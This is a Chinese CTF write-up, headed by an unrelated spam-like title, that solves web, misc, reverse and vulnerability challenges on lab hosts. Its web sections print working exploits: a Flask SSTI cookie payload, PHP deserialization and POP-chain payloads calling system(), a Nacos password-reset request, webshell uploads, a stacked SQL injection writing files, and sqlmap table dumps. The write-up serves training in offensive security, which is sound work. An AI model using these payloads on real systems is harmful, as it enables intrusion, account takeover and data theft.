自助建站网站程序源码/推广网站有哪些

本来结束时发到了学校AheadSec的群里面了的，觉得这比赛没啥好外发WP的，但是有些师傅来问了，所以还是发一下吧。

签到：又一个计算题

计算器

扫目录能看到/admin路径
在doCalc的源码报错下面能看到获取了一个username参数
以及 secret_key

利用 https://github.com/noraj/flask-session-cookie-manager.git 生成payload

python3 flask_session.py encode -s 7Wt4VH26Pb -t '{"username":"{%print(((lipsum.__globals__.__builtins__.__import__(\"os\").popen(\"cat /root/runtime/flag.py\")).read()))%}"}'

得到

最后可直接获取flag

PHP反序列化

<?phperror_reporting(0);
highlight_file(__FILE__);
class evil{public $cmd;public $a;public function __destruct(){if('VanZZZZY' === preg_replace('/;+/','VanZZZZY',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){eval($this->cmd.'givemegirlfriend!');} else {echo 'nonono';}}
}if(!preg_match('/^[Oa]:[\d]+|Array|Iterator|Object|List/i',$_GET['Pochy'])){unserialize($_GET['Pochy']);
} else {echo 'nonono';
}

exp:

<?php class evil
{public $cmd="eval(next(getallheaders()));__halt_compiler();";}$a=new SplStack();
$a->push(new evil());
$b=serialize($a);
echo($b);

http://ywft1o9f.lab.aqlab.cn/?Pochy=C:8:%22SplStack%22:84:{i:6;:O:4:%22evil%22:1:{s:3:%22cmd%22;s:46:%22eval(next(getallheaders()));__halt_compiler();%22;}}User-Agent: system('cat flag.php');

又一个PHP反序列化

链子

R::welcome() <- E::__invoke <- K::__call <- C::__get() <- A::__toString() <- H::welcome()

构造POP

<?php 
class A
{public $hacker;public  function __toString(){echo $this->hacker->name;return "";}
}
class C
{public $finish;public function __get($value){$this->finish->hacker();echo 'nonono';}
}
class E
{public $hacker;public  function __invoke($parms1){   echo $parms1;$this->hacker->welcome();}
}class H
{public $username="admin";public function __destruct(){$this->welcome();}public  function welcome(){echo "welcome~ ".$this->username;}
}class K
{public $func;public function __call($method,$args){call_user_func($this->func,'welcome');}
}class R
{public $method;public $args;public  function welcome(){if ($this->key === true && $this->finish1->name) {if ($this->finish->finish) {call_user_func_array($this->method,$this->args);}}}
}$H = new H();
$A = new A();
$C = new C();
$K = new K();
$E = new E();
$R = new R();
$R -> method = 'syssystemtem';
$R -> args = ['cat f*'];
$E -> hacker = $R;
$K -> func = $E;
$K -> func -> hacker -> key = True;
$K -> func -> hacker -> finish1 -> name = True;
$K -> func -> hacker -> finish -> finish = True;
$C -> finish = $K;
$A -> hacker = $C;
$H -> username = $A;
echo serialize($H);// O:1:"H":1:{s:8:"username";O:1:"A":1:{s:6:"hacker";O:1:"C":1:{s:6:"finish";O:1:"K":1:{s:4:"func";O:1:"E":1:{s:6:"hacker";O:1:"R":5:{s:6:"method";s:12:"syssystemtem";s:4:"args";a:1:{i:0;s:6:"cat f*";}s:3:"key";b:1;s:7:"finish1";O:8:"stdClass":1:{s:4:"name";b:1;}s:6:"finish";O:8:"stdClass":1:{s:6:"finish";b:1;}}}}}}}?>

双写绕过替换为空，非法传参绕过，并且因为对反序列化字符串有一次替换，原本的长度会有变化，手工修改长度

po[p.er=
O:1:"H":1:{s:8:"username";O:1:"A":1:{s:6:"hacker";O:1:"C":1:{s:6:"finish";O:1:"K":1:{s:4:"func";O:1:"E":1:{s:6:"hacker";O:1:"R":5:{s:6:"method";s:6:"syssystemtem";s:4:"args";a:1:{i:0;s:6:"cat f*";}s:3:"key";b:1;s:7:"finish1";O:8:"stdClass":1:{s:4:"name";b:1;}s:6:"finish";O:8:"stdClass":1:{s:6:"finish";b:1;}}}}}}}

查看源码即可获得flag

Misc

这是邹节伦的桌面背景图

压缩包提取出来，指定解压这两张没有加密的图

双图盲水印

PS D:\Tools\Misc\BlindWaterMark> python .\bwmforpy3.py decode .\source.png .\result.png flag1.png
image<.\source.png> + image(encoded)<.\result.png> -> watermark<flag1.png>
PS D:\Tools\Misc\BlindWaterMark>

压缩包密码：Ctf-Game-Start

ctf{c5364cb0-882f-11ee-b421-000c29a4e4e5}

什么鬼？这是图片

每隔八个字节逆序

脚本简单处理即可

hexData = ''
with open('resutl.png', 'rb') as f:pngData = ""hexData = bytes.hex(f.read())for i in range(0, len(hexData), 16):blockData = hexData[i:i+16][::-1]for j in range(0, len(blockData), 2):byteData = blockData[j:j+2][::-1]pngData += byteData
with open('flag.png', 'wb') as f:f.write(bytes.fromhex(pngData))

最终flag是CTF包裹

ctf{d77aa664-8834-11ee-a068-000c29a4e4e5}

五颜六色的图片

读RGB转ZIP，脚本简单处理

from PIL import Imagewith Image.open('rgb.png') as img:width, height = img.sizehexData = ""for h in range(height):for w in range(width):pix = img.getpixel((w, h))for p in pix:hexData += '{:02x}'.format(p)
with open('flag.zip', 'wb') as f:f.write(bytes.fromhex(hexData))

解压得到flag

ctf{1c7c3eec-8841-11ee-b9bf-000c29a4e4e5}

流量分析

tcp.stream eq 49

解压密码

PS C:\Users\Administrator\Downloads> php -r "var_dump(base64_decode('QzovZmxhZyhjdGZfZ2FtZSkuemlw'));"
Command line code:1:
string(21) "C:/flag(ctf_game).zip"

hexData = "504b0304140001000000328875576f42da69350000002900000008000000666c61672e747874f0ffcbadf3f92591d9efa30772829a2c9dfc9e88c4eceac0ab03fa3f25e8aca42a6de2845121b58c6169f1c01b768dfc8bede44c06504b01023f00140001000000328875576f42da693500000029000000080024000000000000002000000000000000666c61672e7478740a002000000000000100180069c39454591cda0100000000000000000000000000000000504b050600000000010001005a0000005b0000000000316263646666353739633436"
with open('flag111.zip', 'wb') as f:f.write(bytes.fromhex(hexData))

解压得到flag

ctf{87bb9ae4-884c-11ee-9329-000c29a4e4e5}

你会解码吗？

查看源码

URL解码得到Quoted-printable编码

解码得到社会主义核心价值观编码

然后社会主义核心价值观解码得到ASCII

>>> ''.join([chr(int(i)) for i in '102,108,97,103,123,74,110,76,88,121,112,71,52,53,95,48,98,105,77,48,51,125'.split(',')])
'flag{JnLXypG45_0biM03}'

Cryptography

参考 ： https://blog.csdn.net/qq_47875210/article/details/127576150
然后flag一直交不对

即可拿到flag

Reverse

xor

加密过程是对上一个字符进行异或

exp

enc = [0x66, 0x0A, 0x6B, 0x0C, 0x77, 0x26, 0x4F, 0x2E, 0x40, 0x11, 0x78, 0x0D, 0x5A, 0x3B, 0x55, 0x11, 0x70, 0x19, 0x46, 0x1F, 0x76, 0x22, 0x4D, 0x23, 0x44, 0x0E, 0x67, 0x06, 0x68, 0x0F, 0x47, 0x32, 0x4F]flag = ''for i in range(len(enc)-1, 0, -1):enc[i] ^= enc[i-1]flag += chr(enc[i])print('f'+flag[::-1])
# flag{QianQiuWanDai_YiTongJiangHu}

init

使用IDA打开发现异或

在compara中找到密文

exp:

enc = [0x66, 0x6D, 0x63, 0x64, 0x7F, 0x56, 0x69, 0x6A, 0x6D, 0x7D, 0x62, 0x62, 0x62, 0x6A, 0x51, 0x7D, 0x65, 0x7F, 0x4D, 0x71, 0x71, 0x73, 0x79, 0x65, 0x7D, 0x46, 0x77, 0x7A, 0x75, 0x73, 0x21, 0x62]for i in range(len(enc)):print(chr(enc[i] ^ i), end='')
# flag{Something_run_before_main?}

漏洞挖掘–签到题

修改nacos密码

 curl  -d "username=nacos1&newPassword=123456"  -X PUT http://glkb-qkj2.aqlab.cn/nacos/v1/auth/users

登录直接拿flag

开胃小菜

Ruoyi 后台 远程加载jar包拿shell
参考 https://github.com/lz2y/yaml-payload-for-ruoyi

直接拿shell

小小bypass

整体思路是任意文件读取+注入拿地址
首先注册个账号

手机号为
13650955537
密码随便

登录之后抓包拿下token

之后在通过SSRF拿到flag，程序后端会将他存到本地，然后将路径存入到数据库中
漏洞点位于application/api/logic/UserLogic.php

之后在通过前台的注入拿到flag值
注入点

http://m8o3fug2.lab.aqlab.cn/api/goods_comment/category?goods_id=*

sqlmap直接梭哈可拿到头像图片路径
访问图片路径即可拿到flag

有点东西，传什么？

是个Nday
直接上传webshell

 curl "http://c88f07ac9.lab.aqlab.cn/index.php/upload/ajax_upload_chat?type=image" -F file=@1.php

前台

PigCMS
直接穿马 路径会回显

POST /cms/manage/admin.php?m=manage&c=background&a=action_flashUpload HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----aaa------aaa
Content-Disposition: form-data; name="filePath"; filename="test.php"
Content-Type: video/x-flv<?php phpinfo();?>
------aaa

什么注？

通过堆叠将flag outfile到web路径上 可直接读取

http://bwo330m4vx.lab.aqlab.cn/index.php?s=api/goods_detail&goods_id=1;select load_file('/flag.txt') into outfile '/var/www/localhost/htdocs/xx22211111111.txt';#

夺宝

前台注入拿到后台admin hash+后台缓存getshell
参考 https://mp.weixin.qq.com/s/BAHeQYjp-eVgkkGayM11eQ

然后自己构造一个tamper，跑SQLMap即可

sqlmap --dbms="mysql" -u "http://m8o3fug2.lab.aqlab.cn/api/goods_comment/category?goods_id=*" -D likeshop  -T ls_user --dump

还有宝塔waf 这有点离谱了
但是还好 可以使用readfile函数直接读取flag
靶场关了用下文章的图

把那个eval换成readfile('/www/wwwroot/mawd16-20.aqlab.cn/flag.php')即可拿到flag
